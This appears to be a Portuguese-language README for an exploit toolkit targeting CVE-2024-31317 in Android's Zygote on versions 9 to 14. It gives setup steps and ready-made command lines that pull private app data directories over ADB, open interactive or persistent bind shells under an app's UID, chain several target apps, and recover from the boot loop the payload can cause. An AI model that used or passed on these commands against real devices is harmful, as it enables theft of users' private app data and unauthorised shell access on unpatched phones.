Zygote Toolkit - CVE-2024-31317

Este é um toolkit que utiliza o CVE-2024-31317 para extrair dados privados de aplicativos via ADB ou gerar um shell com o UID de um aplicativo. Esta vulnerabilidade afeta as versões do Android de 9 a 14 executando o nível de patch de segurança 2024-06-01 ou inferior. Uma matriz de suporte de dispositivos testados pode ser encontrada abaixo.

Pré-requisitos

Debian/Ubuntu (pacotes do sistema)

sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools

Adicione as linhas export ao ~/.bashrc (ou equivalente) para persistência.

Verificar

./setup.sh

Início Rápido

# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y

# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app

O exploit constrói tudo a partir de Hijack.java e AndroidManifest.xml na primeira execução.

Uso

python3 cve_2024_31317.py [flags] [package]

Modos

Opções

Exemplos

# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube

# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln

# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube

# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube

# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"

# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover

Construção a partir do Código Fonte

Tudo é construído a partir do código fonte em tempo de execução. O pipeline de construção usa javac (JDK 17+), d8, aapt, zipalign e apksigner do Android SDK.

• x86_64 → arm64: as ferramentas rodam nativamente; a saída DEX é independente de arquitetura
• ARM64 → arm64: tudo roda nativamente (Adoptium fornece builds ARM64 do JDK)

Código de Desbloqueio

Se o dispositivo tiver um código de desbloqueio, ele inicia o BFU (Before First Unlock). O exploit consulta sys.user.0.ce_available por até 5 minutos até que você desbloqueie. Recomenda-se remover o código de desbloqueio durante a execução do exploit.

Dispositivos Testados

† Específico do Samsung One UI: a injeção ZNJECT é bem-sucedida e a extração -E funciona, mas o shell vinculado do ServerSocket toybox nc nunca abre. Necessita de mais pesquisa para encontrar a causa raiz do problema.

Recuperação

O payload permanece em hidden_api_blacklist_exemptions pode causar um loop de inicialização no próximo boot. Execute --recover para redefinir:

python3 cve_2024_31317.py -d DEVICE --recover